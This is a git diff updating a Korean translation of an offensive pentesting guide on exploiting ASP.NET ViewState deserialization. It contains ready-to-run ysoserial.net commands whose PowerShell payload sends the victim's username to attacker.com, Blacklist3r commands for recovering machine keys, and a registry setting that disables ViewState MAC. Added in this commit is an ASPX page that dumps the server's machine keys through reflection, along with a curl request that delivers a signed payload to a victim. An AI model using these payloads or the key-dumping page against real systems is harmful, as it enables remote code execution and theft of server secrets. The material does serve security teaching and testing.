Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-07-22 20:12:05 +00:00
parent 2f707b3ece
commit 9641b7c050

View File

@ -4,29 +4,29 @@
## What is ViewState
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘 역할을 합니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘으로 사용됩니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있습니다:
- **Base64**:
- 이 형식은 `EnableViewStateMac``ViewStateEncryptionMode` 속성이 모두 false로 설정될 때 사용됩니다.
- **Base64 + MAC (메시지 인증 코드) 활성화**:
- **Base64 + MAC (Message Authentication Code) Enabled**:
- MAC의 활성화는 `EnableViewStateMac` 속성을 true로 설정하여 이루어집니다. 이는 ViewState 데이터에 대한 무결성 검증을 제공합니다.
- **Base64 + 암호화**:
- **Base64 + Encrypted**:
- 암호화는 `ViewStateEncryptionMode` 속성이 true로 설정될 때 적용되어 ViewState 데이터의 기밀성을 보장합니다.
## Test Cases
이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다양한 구성에 대한 표를 자세히 설명합니다. 내용 요약은 다음과 같습니다:
이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다양한 구성에 대한 표니다. 내용 요약은 다음과 같습니다:
1. **모든 .NET 버전**에 대해, MAC과 암호화가 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.
2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 암호화가 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이 암호화가 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 것은 "Blacklist3r - Future Development"의 작업입니다.
4. **4.5 이상 버전**의 경우, MAC과 암호화의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey가 필요합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
1. **모든 .NET 버전**에 대해, MAC과 Encryption이 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.
2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 Encryption이 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이, Encryption이 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 작업은 "Blacklist3r - Future Development"입니다.
4. **4.5 이상 버전**의 경우, MAC과 Encryption의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey가 필요합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
ViewStateMAC을 완전히 비활성화하는 것도 가능하며, 이는 다음의 레지스트리 키를 0으로 설정하여 이루어집니다:
`AspNetEnforceViewStateMac` 레지스트리 키를 0으로 설정하여 ViewStateMAC를 완전히 비활성화할 수도 있습니다:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
@ -39,8 +39,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Test case 1.5 Test case 1과 같지만 ViewState 쿠키가 서버에 의해 전송되지 않음
개발자는 **ViewState**가 HTTP 요청의 일부가 되지 않도록 할 수 있습니다 (사용자는 이 쿠키를 받지 않음).\
**ViewState**가 **존재하지 않으면**, 그들의 구현이 **ViewState 역직렬화로 인한 잠재적 취약점**으로부터 **안전하다**고 가정할 수 있습니다.\
그러나 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 **코드 실행**을 달성할 수 있습니다. 이는 **Case 1**에서 보여줍니다.
**ViewState**가 **존재하지 않으면**, 그들의 구현이 ViewState 역직렬화로 인한 잠재적 취약점으로부터 **안전하다**고 가정할 수 있습니다.\
하지만, 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 **코드 실행**을 달성할 수 있습니다, **Case 1**에서 보여준 것처럼.
### Test Case: 2 .Net < 4.5 EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -106,15 +106,15 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
```
### Test Case: 3 .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
이 경우 매개변수가 MAC으로 보호되는지 여부는 알려져 있지 않습니다. 따라서 값은 아마도 암호화되어 있으며, 취약점을 악용하기 위해 **페이로드를 암호화할 Machine Key가 필요합니다**.
이 경우 매개변수가 MAC으로 보호되는지 여부는 알려져 있지 않습니다. 따라서 값은 아마도 암호화되어 있으며 **취약점을 악용하기 위해 페이로드를 암호화할 Machine Key가 필요합니다.**
**이 경우** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **모듈이 개발 중입니다...**
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **받을 수 있습니다**. ASP.NET은 요청에서 **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만을 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **수용할 수 있습니다**. ASP.NET은 **요청에서** **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만을 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
따라서 공격자가 파일 탐색과 같은 다른 취약점을 통해 Machinekey를 얻는 방법을 찾으면, **Case 2**에서 사용된 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 명령을 사용하여 ViewState 역직렬화 취약점을 이용한 RCE를 수행할 수 있습니다.
- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거하십시오. 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 악용이 실패합니다.
- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거해야 하며, 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 악용이 실패합니다.
### Test Case: 4 .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
@ -128,7 +128,7 @@ compatibilityMode="Framework45"
```
이전과 마찬가지로 **값이 암호화되어 있습니다.** 그러므로 **유효한 페이로드를 보내기 위해 공격자는 키가 필요합니다.**
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 를 사용하여 사용 중인 키를 찾을 수 있습니다:
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)를 사용하여 사용 중인 키를 찾을 수 있습니다:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
@ -145,7 +145,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
유효한 Machine key가 확인되면, **다음 단계는** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **을 사용하여 직렬화된 페이로드를 생성하는 것입니다.**
유효한 Machine key가 식별되면, **다음 단계는** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **을 사용하여 직렬화된 페이로드를 생성하는 것입니다.**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
@ -157,22 +157,55 @@ ViewState 역직렬화 취약점을 성공적으로 악용하면 공격자가
### Test Case 6 ViewStateUserKeys가 사용되고 있음
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용 수 있습니다. 애플리케이션에서 이러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
페이로드를 올바르게 생성하기 위해서는 하나의 매개변수를 더 사용해야 합니다:
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용 수 있습니다. 애플리케이션에서 이러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
페이로드를 올바르게 생성하기 위해 추가 매개변수를 하나 더 사용해야 합니다:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### 성공적인 취약점 이용의 결과 <a href="#poc" id="poc"></a>
### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
모든 테스트 케이스에서 ViewState YSoSerial.Net 페이로드가 **성공적으로** 작동하면 서버는 “**500 Internal server error**”와 함께 응답 내용 “**이 페이지에 대한 상태 정보가 유효하지 않으며 손상되었을 수 있습니다**”를 반환하고 OOB 요청을 받습니다.
모든 테스트 케이스에서, ViewState YSoSerial.Net 페이로드가 **성공적으로** 작동하면 서버는 “**500 Internal server error**”로 응답하며 응답 내용은 “**이 페이지에 대한 상태 정보가 유효하지 않거나 손상되었을 수 있습니다**”이고 OOB 요청을 받습니다.
[추가 정보는 여기에서 확인하세요](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
[더 많은 정보는 여기에서 확인하세요](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
## 참고 문헌
### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
대상 웹 루트 내에서 **임의의 ASPX 코드를 업로드하거나 실행할 수 있는** 공격자는 브루트포싱하는 대신 `__VIEWSTATE`를 보호하는 비밀 키를 직접 검색할 수 있습니다. 키를 유출하는 최소한의 페이로드는 리플렉션을 통해 내부 .NET 클래스를 활용합니다:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
```
페이지 요청 시 **ValidationKey**, **DecryptionKey**, 암호화 알고리즘 및 ASP.NET 호환 모드가 출력됩니다. 이러한 값은 이제 **ysoserial.net**에 직접 입력하여 유효하고 서명된 `__VIEWSTATE` 가젯을 생성할 수 있습니다:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
이 **키 유출 원시**는 2025년 온프레미스 SharePoint 서버에 대해 대규모로 악용되었으며 ("ToolShell" CVE-2025-53770/53771), 공격자가 서버 측 코드를 실행할 수 있는 모든 ASP.NET 애플리케이션에 적용 가능합니다.
## References
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}